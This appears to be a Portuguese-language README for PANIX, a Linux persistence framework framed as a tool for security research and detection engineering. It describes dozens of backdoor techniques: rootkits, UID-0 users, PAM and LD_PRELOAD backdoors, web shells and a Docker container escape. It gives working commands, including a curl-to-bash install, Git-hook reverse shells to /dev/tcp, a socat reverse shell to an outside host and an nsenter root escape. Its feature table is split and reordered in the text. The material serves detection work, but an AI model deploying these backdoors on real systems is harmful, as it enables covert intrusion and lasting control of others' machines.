
Ferramenta de Persistência Linux Personalizável para Pesquisa de Segurança e Engenharia de Detecção.

O PANIX é um framework de persistência Linux poderoso, modular e altamente personalizável, projetado para pesquisadores de segurança, engenheiros de detecção, testadores de penetração, entusiastas de CTF e muito mais. Construído com versatilidade em mente, o PANIX enfatiza funcionalidade, tornando-o uma ferramenta essencial para entender e implementar uma ampla gama de técnicas de persistência.

O PANIX fornece um conjunto versátil de recursos para simular e pesquisar mecanismos de persistência no Linux.
| Recurso | Descrição | Root | User |
|---|---|---|---|
| Persistência via At Job | Implementa persistência adicionando entradas a jobs do sistema. | ✅ | ✅ |
| Chaves Autorizadas | Adiciona uma chave pública ao arquivo authorized_keys para acesso SSH. | ✅ | ✅ |
| Usuário Backdoor | Cria um usuário backdoor com UID=0 (privilégios de root). | ✅ | ❌ |
| Backdoor em Usuário do Sistema | Aplica backdoor em um usuário do sistema (acesso SSH a news/nobody). | ✅ | ❌ |
| /etc/passwd com Backdoor | Adiciona diretamente uma entrada de usuário malicioso em /etc/passwd. | ✅ | ❌ |
| /etc/init.d com Backdoor | Estabelece persistência via SysVinit (/etc/init.d). | ✅ | ❌ |
| /etc/rc.local com Backdoor | Estabelece persistência via run control (/etc/rc.local). | ✅ | ❌ |
| Bind Shell | Executa um bind shell pré-compilado/LOLBin para acesso remoto. | ✅ | ✅ |
| Backdoor de Capabilities | Adiciona capabilities específicas a binários para manter a persistência. | ✅ | ❌ |
| Persistência em Cron Job | Configura cron jobs para garantir persistência após reinicializações. | ✅ | ✅ |
| Criar Usuário | Cria uma nova conta de usuário no sistema. | ✅ | ❌ |
| Backdoor D-Bus | Cria um serviço D-Bus para acesso root via reverse shell. | ✅ | ❌ |
| Rootkit Diamorphine | Instala o rootkit Diamorphine de Módulo de Kernel Carregável. | ✅ | ❌ |
| Persistência em Initramfs | Injeta um usuário backdoor com UID=0 no initramfs na reinicialização. | ✅ | ❌ |
| Persistência em Git | Utiliza hooks ou pagers do Git para persistir em repositórios Git. |

O PANIX oferece suporte abrangente a várias distribuições Linux.
Distribuições Linux personalizadas ou desatualizadas podem ter configurações diferentes ou não possuir recursos específicos, fazendo com que os mecanismos falhem em versões não testadas. Se um comando padrão falhar, use a flag --custom disponível na maioria dos recursos para ajustar caminhos e comandos ao seu ambiente. Revise e modifique o script para atender às suas necessidades se isso não resolver o problema.
Contribuições via pull requests ou issues para novos recursos, atualizações ou ideias são sempre bem-vindas!

O repositório PANIX é projetado para modularidade, manutenibilidade e facilidade de extensão. Cada mecanismo de persistência inclui scripts de configuração e reversão, simplificando o gerenciamento e a remoção.```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## Principais Benefícios
- **Configuração emparelhada e reversão**: Cada `setup_*.sh` tem um `revert_*.sh` correspondente, garantindo fácil remoção dos mecanismos de persistência.
- **Design Modular**: Modifique facilmente os módulos existentes ou adicione novos sem afetar o script principal.
- **Expansão Simples**: Para adicionar novas funcionalidades:
1. Crie um novo `setup_*.sh` em `modules/`.
2. Adicione um `revert_*.sh` correspondente em `modules/revert/`.
3. Atualize o `main.sh` para incluir os novos scripts.
4. Atualize o `common.sh` para incluir o módulo no menu de ajuda.
4. Execute o `build.sh` para gerar o `panix.sh` atualizado.

# Primeiros Passos
Colocar o PANIX em funcionamento é tão simples quanto baixar o script da [página de lançamentos](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0) e executá-lo:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
Ou baixe-o e execute-o manualmente:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
A execução do script exibirá o menu de ajuda de `root` ou `user`, dependendo dos privilégios do usuário atual.```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

O script deve ser em grande parte autoexplicativo, no entanto, esta seção mostrará alguns exemplos de como trabalhar com o PANIX.
Cada mecanismo de persistência tem um menu de ajuda separado:``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
Cada mecanismo de persistência também possui uma flag `--examples` que exibe exemplos padrão e personalizados, ajudando a elaborar o comando que funciona para você.```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
A maioria dos mecanismos de persistência são muito simples e, espera-se, não exigirão muita explicação. Por exemplo, a persistência via systemd pode ser configurada simplesmente executando:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
Ao configurar um mecanismo de persistência, o script informará se funcionou e, nos casos em que informações são necessárias para trabalhar com o mecanismo de persistência, informações adicionais são fornecidas. Por exemplo, o mecanismo de bind shell:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
Permitindo que você interaja com a bind shell:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
O mesmo vale para mecanismos que possuem recursos integrados adicionais, como o mecanismo de persistência do Docker, com um escape integrado para o host raiz:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
O que mostra exatamente como escapar do contêiner e obter acesso ao host.``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## Revert Mechanism
PANIX pode limpar sua bagunça através do comando `--revert`. Tanto para módulos separados:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
E para todos os módulos:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## MITRE ATT&CK Matrix
PANIX possui uma matriz MITRE ATT&CK integrada que exibe as técnicas e subtécnicas disponíveis.```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

Publicações nas quais o PANIX é utilizado:
Fique à vontade para conferir minhas redes sociais para atualizações sobre pesquisa em segurança (Linux).

Ao compartilhar o PANIX, você pode ajudar outras pessoas a testar e melhorar sua postura de segurança e apoiar o desenvolvimento de novas capacidades de detecção na segurança Linux.

O PANIX destina-se exclusivamente a testes de segurança autorizados e fins de pesquisa. O uso indevido desta ferramenta para atividades maliciosas não é tolerado e é inteiramente por conta e risco do usuário. Ao usar o PANIX, você concorda que é responsável pelas suas próprias ações. Simplesmente não faça coisas estúpidas.
| ✅ |
| ✅ |
| Persistência via Generator | Usa generators do systemd para criar serviços persistentes. | ✅ | ❌ |
| Backdoor no GRUB | Manipula o GRUB para executar um backdoor na inicialização. | ✅ | ❌ |
| Contêiner Malicioso | Implanta um contêiner Docker projetado para escape do host. | ✅ | ✅ |
| Pacote Malicioso | Instala um pacote DPKG/RPM para obter persistência. | ✅ | ❌ |
| NetworkManager | Instala um script dispatcher para persistir em ações de rede. | ✅ | ❌ |
| Backdoor LD_PRELOAD | Usa LD_PRELOAD para injetar bibliotecas maliciosas para persistência. | ✅ | ❌ |
| Backdoor LKM | Carrega um Módulo de Kernel Carregável para manter a persistência. | ✅ | ❌ |
| Backdoor MOTD | Altera a Mensagem do Dia (MOTD) para estabelecer persistência. | ✅ | ❌ |
| Gerenciador de Pacotes | Manipula APT/YUM/DNF para estabelecer persistência no uso. | ✅ | ❌ |
| Persistência PAM | Instala um backdoor PAM usando um módulo rogue ou pam_exec. | ✅ | ❌ |
| Alteração de Senha | Altera senhas de usuários para proteger contas backdoor. | ✅ | ❌ |
| Backdoor Polkit | Cria um backdoor de configuração Polkit excessivamente permissivo. | ✅ | ❌ |
| Reverse Shell | Estabelece um reverse shell (com suporte a múltiplos LOLBins). | ✅ | ✅ |
| Persistência em Perfil de Shell | Modifica perfis de shell para executar scripts no login do usuário. | ✅ | ✅ |
| Persistência em Chave SSH | Manipula chaves SSH para manter acesso persistente via SSH. | ✅ | ✅ |
| Backdoor Sudoers | Altera o arquivo /etc/sudoers para conceder privilégios elevados. | ✅ | ❌ |
| Backdoor SUID | Aplica backdoor em binários definindo o bit SUID. | ✅ | ❌ |
| Backdoor em Binário do Sistema | Encapsula binários do sistema para incluir funcionalidade de backdoor. | ✅ | ❌ |
| Serviço Systemd | Cria serviços systemd que garantem persistência na reinicialização. | ✅ | ✅ |
| Persistência Udev | Utiliza drivers para persistir no nível de interação de hardware. | ✅ | ❌ |
| Persistência via Web Shell | Implanta servidores web para acesso remoto via interfaces web. | ✅ | ✅ |
| Autostart XDG | Emprega diretórios de autostart XDG para persistir no login do usuário. | ✅ | ✅ |
| Distribuição | Suporte | Versão Testada |
|---|
| Debian | ✅ | Debian 11 e 12 |
| Ubuntu | ✅ | Ubuntu 22.04 (Diamorphine indisponível) |
| RHEL | ✅ | RHEL 9 (técnicas de MOTD e pré-inicialização do SO indisponíveis) |
| CentOS | ✅ | CentOS Stream 9 e 7 (técnicas de MOTD e pré-inicialização do SO indisponíveis) |
| Fedora | ✅ | Não totalmente testado |
| Arch Linux | ✅ | Não totalmente testado |
| OpenSUSE | ✅ | Não totalmente testado |